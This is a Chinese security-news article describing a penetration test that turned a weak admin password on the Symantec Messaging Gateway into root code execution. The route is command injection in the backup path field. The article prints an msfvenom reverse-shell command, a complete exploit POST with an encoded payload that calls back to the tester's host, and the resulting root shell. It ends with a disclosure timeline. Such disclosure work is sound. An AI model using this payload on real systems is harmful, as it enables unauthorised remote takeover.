看我如何在赛门铁克邮件安全网关上实现弱口令到RCE漏洞执行

看我如何在赛门铁克邮件安全网关上实现弱口令到RCE漏洞执行

clouds 2017-06-19 共492809人围观 ，发现 6 个不明物体 网络安全

在这篇文章中，我将向大家分享我们团队最近在对某企业真实渗透测试的一个项目，在该项目中我们发现了赛门铁克电子邮件安全网关（Symantec Messaging Gateway）的一个0day漏洞，利用该漏洞，最终实现了对操作系统的远程命令执行，成功渗透进入目标客户网络。我们从头说起。

前期：枚举大法

在对目标系统的前期信息收集过程中，枚举是一种重要方法！我执行了DNS枚举、Google hacking和目标IP范围NMAP扫描，另外我还在公开的数据泄露源和我们内部的密码数据库中，对目标企业的相关邮箱进行比对查找。服了，最终还真发现了2个不同的用户凭证HASH，其中1个凭证HASH居然还是我们内部密码库于两个月前记录入库的。

在对NMAP扫描结果进行分析后，我发现赛门铁克邮件安全网关（Symantec Messaging Gateway）的管理接口是公开可访问的，之后，我尝试在网上寻找该网关设备的默认用户名密码，通过查看赛门铁克公开的安装说明发现，该网关设备的默认用户名是admin，而密码则由用户在安装时自设。

好了，现在的问题就是：找到用户名admin的密码！最快的思路也无非以下两种：

HASH暴力破解：可以尝试对之前发现的用户凭证HASH进行暴力破解，之后，用其对应的密码登录OWA的Exchange的邮件服务，在其个人邮件中挖挖找找涉及该网关设备可能的密码信息；

弱口令暴力破解：用那些你可以想像到的弱口令，尝试在赛门铁克电子邮件安全网关管理接口进行登录，如admin、123456等等。

哎呀，还真别说，运气爆表了，弱口令这招竟然奏效了，admin的密码是Passw0rd！虽然域控制密码策略要求字母和数字的组合策略，但粗心的IT管理员却这样犯错了。

这算是几个月来我们的”幸运时刻“之一，我们设法获得了目标系统邮件安全网关的访问控制权，但对于整个目标网络系统来说，这种单点突破远远不够。面对这唯一可以利用的突破口，我们希望实现更进一步的渗透。奇妙之旅开始了，老司机要开车了！

假设

在对赛门铁克电子邮件安全网关进行漏洞挖掘之前，可以非常清楚地列出以下几种条件：

程序通过ISO/OVA形式提供下载；

老牌安全厂商产品，或许很难发现重要漏洞？（结果证实并非如此）

固若金汤；

具备复杂的应用程序架构。

不管了，先下载个30天试用版本来把玩把玩再说！

拆解赛门铁克邮件安全网关

在安装了赛门铁克邮件安全网关之后，我发现其产品中存在两方面的安全措施：

受限Shell：可以利用其它电脑通过SSH接入网关设备，但存在接入shell的功能限制，并且只对外开放了80和443端口；

设置了GRUB密码保护。

源代码分析

由于受限Shell功能的存在，我无法通过SSH访问源代码接口，虽然有其它方法可以破解这种限制，但所需时间太长，所以我临时决定使用以下方法：

1、用CentOS镜像启动虚拟机（赛门铁克邮件安全网关被部署到虚拟机中）；

2、在CentOS镜像中选择救援修复模式 (rescue installed system)启动；

3、等待引导过程结束；

4、打开/mnt/sysimage/boot/grub.conf文件，删除GRUB密码保护一行；

5、使用虚拟机选项卸载镜像文件；

6、重启电脑。

以下为GRUB密码保护行：

现在，由于缺少了GRUB密码保护，我就可以以单用户模式，利用自定义参数启动系统。

以root身份进入

在GRUB菜单模式下，我以单用户root shell权限进入系统，并且不启动其它任何服务，希望籍此以管理员身份关闭受限Shell功能，但经过一番研究后，我决定使用其它更快的方法。我更改了sshd_config配置文件，让root用户有重新设置密码的权限。之后，重新启动系统。

探测所有服务&收集信息

以root方式SSH进入系统之后，我们就可以从内部对该产品的系统服务、端口信息以及源代码情况一探究竟了。首先，来执行一个NMAP扫描，结果如下：

➜  ~ sudo nmap -sS -sV -p - --open 12.0.0.199 -Pn -n

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.3 (protocol 2.0)
25/tcp open smtp Symantec Messaging Gateway smtpd
443/tcp open ssl/http Apache Tomcat/Coyote JSP engine 1.1
8443/tcp open ssl/http Apache Tomcat/Coyote JSP engine 1.1
41002/tcp open ssl/unknown
41015/tcp open smtp Symantec Messaging Gateway smtpd
41016/tcp open smtp Symantec Messaging Gateway smtpd
41017/tcp open smtp Symantec Messaging Gateway smtpd
41025/tcp open smtp
41443/tcp open ssl/http Apache Tomcat/Coyote JSP engine 1.1

端口443、8443和41443：管理接口服务；

端口41015 – 41025：该产品专为电子邮件分析而设计的正常服务端口；

端口41002：这是什么鬼端口？

41002端口让我陷入怀疑，有必要进一步验证一下该端口对应的服务目的。通过netstat命令检索端口监听进程，发现了2560进程，之后又发现了bmagent驻留进程和agentconfig.xml文件。过程如下：

[root@hacker ~]# netstat -tnlp |grep 41002
tcp        0      0 0.0.0.0:41002               0.0.0.0:*                   LISTEN      2560/bmagent
[root@hacker ~]# 
[root@hacker ~]# ps aux|grep 2560
mailwall   2560  0.0  0.3 550428 12816 ?        Sl   12:35   0:00 /opt/Symantec/Brightmail/scanner/sbin/bmagent -c /data/scanner/etc/agentconfig.xml
[root@hacker ~]# 
[root@hacker ~]# file /opt/Symantec/Brightmail/scanner/sbin/bmagent 
/opt/Symantec/Brightmail/scanner/sbin/bmagent: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped

以下是agentconfig.xml内容，尽管它在所有接口上都运行了该对应的服务，但我们只能通过白名单地址对它进行访问。这里先暂且打住，我们来看看源代码。

[root@hacker ~]# cat /data/scanner/etc/agentconfig.xml



<installation xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="6.0.0.0">
    <configdir>/data/scanner/etcconfigdir>
    <mtalogfile>/data/logs/maillogmtalogfile>
    <packages>
        <package name="agentPackage" installed="true" enabled="true"/>
    packages>
    <programs>
        <program xsi:type="agentType" name="agent">
            <log level="4" period="1" periodUnits="DAY" numberRetained="30">/data/logs/scanner/agent_loglog>
            <networkAddress host="*" port="41002"/>
            <allowedIPs><allowedIP>127.0.0.1allowedIP>
<allowedIP>12.0.0.199allowedIP>
<allowedIP>1.1.1.1allowedIP>
<allowedIP>1.1.1.2allowedIP>
<allowedIP>1.1.1.3allowedIP>allowedIPs>
            <ssl certFile="/data/scanner/etc/agent.cert" keyFile="/data/scanner/etc/agent.key"/>
        program>
    programs>
installation>

定位源代码文件

我用以上类似方法找到了源码的存放位置。以下输出显示了其web服务和服务启动执行命令对应的进程ID：

[root@hacker ~]# netstat -tnlp |grep 443
tcp        0      0 :::41443                    :::*                        LISTEN      2632/jsvc.exec      
tcp        0      0 :::8443                     :::*                        LISTEN      2632/jsvc.exec      
tcp        0      0 :::443                      :::*                        LISTEN      2632/jsvc.exec      
[root@hacker ~]# 
[root@hacker ~]# ps aux|grep 2632
bcc        2632  2.1 13.8 3482224 541216 ?      Sl   12:35   0:44 jsvc.exec -user bcc -home /usr/java/latest -wait 1200 -pidfile /var/run/jsvc.pid -outfile /data/logs/bcc/catalina.out -errfile &1 -Xmx800M -XX:MaxPermSize=128m -Djvm=bcc -Djava.awt.headless=true -Djava.util.logging.config.file=/data/bcc/conf/logging.properties -Dorg.apache.jasper.compiler.Parser.STRICT_QUOTE_ESCAPING=false -Dorg.apache.el.parser.SKIP_IDENTIFIER_CHECK=true -Dcatalina.base=/data/bcc -Dcatalina.home=/usr/share/apache-tomcat-7.0.62 -Djava.io.tmpdir=/data/bcc/temp -cp /usr/share/java/commons-daemon.jar:/usr/share/apache-tomcat-7.0.62/bin/bootstrap.jar:/usr/share/apache-tomcat-7.0.62/bin/tomcat-juli.jar org.apache.catalina.startup.Bootstrap
root       8106  0.0  0.0 103312   856 pts/0    S+   13:10   0:00 grep 2632
[root@hacker ~]#

从上可以看出一个名为bcc的文件目录，而所有应用管理接口的源码就存储在/data/bcc文件夹内，之后，我用SCP命令把该文件夹内所有文件打包并转移出系统。

继续探寻未知服务

OK，我们获得了源码，那么自然想知道之前提及的41002端口对应的服务用途是什么。此时，面对JAVA源码，我最喜欢的java反编译器jd-gui派上用场了。

既然该端口对应服务只能通过白名单才能发起访问，那么，本机应该也在此范围之内，而且对一般实例和服务来说，127.0.0.1应该也属白名单之列。经过一番查找分析，我发现在backupNow函数下存在着一些与41002端口相关的代码，如下：

try
    {
      if (this.log.isInfoEnabled()) {
        this.log.info(this.rb.getLocalizedMessage("information.agent.script.databaseBackup.start"));
      }
      String scriptName = NameHelper.getDbBackup();
      AgentResultTO result = ScriptHelper.executeScript("127.0.0.1", 41002, scriptName, 
        ScriptParamFactory.createAgentParam(params), 2, AgentSettingsDAO.TimeoutLength.Infinite);
      if (this.log.isInfoEnabled()) {
        this.log.info(this.rb.getLocalizedMessage("information.agent.script.databaseBackup.end"));
      }
      if (result.isError())
      {
        String message = ScriptHelper.decodeMessage(result);
        ScriptHelper.logError("error.agent.script.databaseBackup", message);
        ScriptHelper.generateError("error.agent.script.databaseBackup", message);
      }
    }
    catch (BrightmailException e)
    {
      ScriptHelper.generateError("error.agent.script.databaseBackup", e.getMessage());
    }

从以上代码可知，应用程序在运行过程中，向该服务发送了一个脚本名称和参数，该脚本名称为一个可执行脚本文件，而scriptName参数则调用了getDbBackup函数：

public static String getDbBackup()
{
  if (dbBackup == null)
  {
    StringBuilder builder = new StringBuilder(25);
    builder.append("$SCRIPTSDIR$$/$");
    builder.append("db-backup");
    dbBackup = builder.toString();
  }
  return dbBackup;
}

COOL！请认真观察以上代码，现在我们知道哪个脚本文件是被该服务执行了，来找找看：

[root@hacker bcc]# find /opt/ -type f|grep 'db-backup'
/opt/Symantec/Brightmail/cli/bin/db-backup
/opt/Symantec/Brightmail/cli/sbin/db-backup
/opt/Symantec/Brightmail/cli/man/man1/db-backup.1
[root@hacker bcc]# 
[root@hacker bcc]# cat /opt/Symantec/Brightmail/cli/bin/db-backup
#!/bin/sh

. /data/scanner/etc/brightmail-env

/usr/bin/sudo /opt/Symantec/Brightmail/cli/sbin/db-backup “$@”

真是越来越有意思了！当该服务启动后，它将会执行db-backup脚本，该脚本正常情况下是通过sudo命令执行的。到此，我们可以尝试分析到底是哪个web前端服务执行调用了这些流程。在strust.xml文件中，我们发现了具体调用相关方法和类的URL：

<action path="/backup/add" forward="/backup/action2.do?method=add"/>
<action path="/backup/edit" forward="/backup/action2.do?method=edit"/>
<action path="/backup/backupNow" forward="/backup/action2.do?method=showBackupNow"/>
<action path="/backup/action2"
        type="com.symantec.smg.controlcenter.disasterrecovery.backup.BackupAction"
        name="backupForm"
        scope="request"
        parameter="method"
        validate="false"
        input="/admin_backup_restore.jsp">
  <forward name="success" path="/admin_backup_edit.jsp"/>
action>

综上所述，这意味着，以下前端链接对应着该服务的执行调用：

/brightmail/admin/backup/backupNow.do

让我们在web界面中看看它到底长啥样：

OH，这是Symantec邮件网关的备份服务！在该服务下，可以利用FTP或SCP方式把备份文件存储到另一台远程服务器中（该环境中，另一台远程存储服务器为12.0.0.15）。可能由于这种备份方式颇花费时间，所以在产品设计时就被放到了后台进行，前面提及的41002端口正是该服务的对应运行端口。好吧，现在，我们来看看12.0.0.15执行了些什么具体进程：

[root@hacker bcc]# ps aux|grep 12.0.0.15
mailwall  11296  0.0  0.0 108204  1308 ?        S    13:37   0:00 /bin/sh /opt/Symantec/Brightmail/common/sbin/db-backup -f SCP://root:toor@12.0.0.15/tmp -t 1 -s manual
root      11297  0.0  0.0 175096  2672 ?        S    13:37   0:00 /usr/bin/sudo /opt/Symantec/Brightmail/cli/sbin/db-backup -f SCP://root:toor@12.0.0.15/tmp -t 1 -s manual
root      11298  5.0  0.5 173584 23132 ?        S    13:37   0:00 /usr/bin/perl -w /opt/Symantec/Brightmail/cli/sbin/db-backup -f SCP://root:toor@12.0.0.15/tmp -t 1 -s manual
root      11303  0.0  0.0  57244  2400 pts/2    Ss+  13:37   0:00 /usr/bin/scp -P 22 -q /data/tmp/db-backup.10.6.2-7.brightmail.Apr-26-17-13-37.tar root@12.0.0.15:/tmp.full.manual.tar.bz2
root      11304  0.0  0.0  59700  2952 pts/2    S+   13:37   0:00 /usr/bin/ssh -x -oForwardAgent no -oPermitLocalCommand no -oClearAllForwardings yes -p22 -q -lroot 12.0.0.15 scp -t /tmp.full.manual.tar.bz2
root      11307  0.0  0.0 103308   872 pts/0    S+   13:37   0:00 grep 12.0.0.15
[root@hacker bcc]#

天了噜，综合这些进程和前面的端口监听结果可以发现，前面的web前端正通过参数设置方法利用bmagent服务，执行SSH文件转移。而在此SSH的应用过程中，可能会存在命令注入漏洞。

我们来找找看其输入验证参数，我敢确定在数据被转移到bmagent服务之前，在其web端一定存在着某种输入验证。

寻找脆弱性验证参数

以下为源码中的输入验证实现部分：

if (storeRemoteBackup)
    {
      if (EmptyValidator.getInstance().isValid(remoteBackupAddress))
      {
        exceptionMsgKeys.add("error.backup.host.ip.required");
        focusElement = "remoteBackupAddress";
      }
      else if ((!DomainValidator.getInstance().isValid(remoteBackupAddress)) && 
        (!RoutableIpValidator.getInstance().isValid(remoteBackupAddress)))
      {
        exceptionMsgKeys.add("error.backup.host.ip.invalid");
        focusElement = "remoteBackupAddress";
      }
      if (EmptyValidator.getInstance().isValid(port))
      {
        exceptionMsgKeys.add("error.backup.host.port.empty");
        focusElement = "remoteBackupPort";
      }
      else if (!TcpUdpPortValidator.getInstance().isValid(port))
      {
        exceptionMsgKeys.add("error.backup.host.port.invalid");
        focusElement = "remoteBackupPort";
      }
      String path = backupForm.get("remoteBackupPath").toString();
      if (EmptyValidator.getInstance().isValid(path))
      {
        exceptionMsgKeys.add("error.backup.path.empty");
        focusElement = "remoteBackupPath";
      }
      else
      {
        UsAsciiValidator v = UsAsciiValidator.getInstance();
        if (!v.isValid(path))
        {
          exceptionMsgKeys.add("error.backup.path.only.ascii.allowed");
          focusElement = "remoteBackupPath";
        }
      }
    }

该验证主要具备以下几方面要求：

remoteBackupAddress值不能为空；

remoteBackupAddress必须为远程IP地址；

端口信息不能为空；

端口必须为有效TCP/UDP端口；

路径不能为空；

路径值最终必须为ASCII。

仔细一想，在路径参数值中存在明显的命令注入漏洞。

漏洞利用路线

1、使用用户名密码登入web前端；

2、浏览/brightmail/admin/backup/backupNow.do界面；

3、选择“Store backup on a remote location”（将备份文件存储到远程服务器中）；

4、选择SCP作为文件传输协议；

5、填写SSH服务能有效发现的相应远程IP地址、端口和存储目录信息（可以使用你本机KALI的ssh，存储目录这里为tmp）；

6、开启““Requires authentication”（身份认证）选项；

7、填写有效的SSH用户名密码验证信息；

8、把Payload置于tmp请求参数之后，使用$()或“方式执行命令注入。

在Payload测试中，使用空格（SPACE）可能会导致脚本执行失败，于是，我采用了$IFS方式（内部域分隔符）来代替空格。

POC

由于我喜欢用meterpreter，所以在此首先利用msfvenom生成了python版本的Payload：

msfvenom -p python/meterpreter/reverse_tcp LHOST=12.0.0.1 LPORT=8081 -f raw

import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,‘UTF-8’)})

在该Payload中包含了一个python meterpreter payload，我们尝试来获取系统shell看看，通过以下HTTP POST触发漏洞：

POST /brightmail/admin/backup/performBackupNow.do HTTP/1.1
Host: 12.0.0.199:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 1188
Referer: https://12.0.0.199:8443/brightmail/admin/backup/backupNow.do
Cookie: JSESSIONID=67376D92B987724ED2309C86990690E3; userLanguageCode=en; userCountryCode=US; navState=expanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded; JSESSIONID=0360B579A58BBBB8D74FEE4767BCAC10
Connection: close
Upgrade-Insecure-Requests: 1

pageReuseFor=backup_now&id=&symantec.brightmail.key.TOKEN=48f39f735f15fcaccd0aacc40b27a67bf76f2bb1&backupData=full&customType=configuration&includeIncidentMessages=true&includeReportData=true&includeLogData=true&backupTo=2&remoteBackupProtocol=SCP&remoteBackupAddress=127.0.0.1&remoteBackupPort=22&remoteBackupPath=tmp$(perl${IFS}-e${IFS}‘system(pack(qq,H732,qq,707974686f6e202d632022696d706f7274206261736536342c7379733b65786563286261736536342e6236346465636f6465287b323a7374722c333a6c616d62646120623a627974657328622c275554462d3827297d5b7379732e76657273696f6e5f696e666f5b305d5d28276157317762334a3049484e765932746c6443787a64484a315933514b637a317a62324e725a5851756332396a613256304b4449736332396a613256304c6c4e5051307466553152535255464e4b51707a4c6d4e76626d356c5933516f4b4363784d6934774c6a41754d5363734e4451304e436b70436d77396333527964574e304c6e56756347466a6179676e506b6b6e4c484d75636d566a646967304b536c624d46304b5a44317a4c6e4a6c5933596f62436b4b6432687062475567624756754b4751705047773643676c6b4b7a317a4c6e4a6c5933596f624331735a57346f5a436b70436d56345a574d6f5a4378374a334d6e4f6e4e394b516f3d2729292922,))’)&requiresRemoteAuthentication=true&remoteBackupUsername=root&remoteBackupPassword=qwe123

然后，利用msf创建监听，并最终成功获得了对目标系统的反弹控制权：

msf exploit(handler) > run

[] Started reverse TCP handler on 12.0.0.1:4444
[] Starting the payload handler…
[] Sending stage (39842 bytes) to 12.0.0.199
[] Meterpreter session 2 opened (12.0.0.1:4444 -> 12.0.0.199:54077) at 2017-04-30 17:03:26 +0300

meterpreter > shell
Process 15849 created.
Channel 1 created.
sh: no job control in this shell
sh-4.1# id
uid=0(root) gid=0(root) groups=0(root)
sh-4.1#

在后续阶段，我们将使用一些post exploitation方式继续对目标系统进行渗透验证，由于包含客户具体信息，就不在此赘述。可以点此查看其它详细的metasploit执行信息。

Metasploit 执行视频

https://v.qq.com/x/page/z0514xw4bn1.html

漏洞报送时间表

2017年4月24日    – 漏洞发现；

2017年4月24日    – 与公司内部客户成员共享所有漏洞细节和短期的内部缓解措施；

2017年4月27日    – 与Symantec进行漏洞初报；

2017年5月2日      – Symantec 产品团队确认漏洞有效；

2017年5月25日    – 我们咨询漏洞修复状态；.

2017年5月25日    – Symantec回复称他们正在开发补丁，计划于6月发布，届时将及时告知我们；

2017年6月8日      – 我们的客户告知我们Symantec已经在网上发布了该产品的修复补丁；

2017年6月10日      – 漏洞公开。

*参考来源：pentestlab，freebuf小编clouds编译，转载请注明来自FreeBuf.COM

clouds 403 篇文章 等级： 9级

打开微信“扫一扫”，打开网页后点击屏幕右上角分享按钮

|

|

• 上一篇：FIN7 APT组织攻击木马分析报告
• 下一篇： 美国针对朝鲜Hidden Cobra组织的恶意程序DeltaCharlie发出预警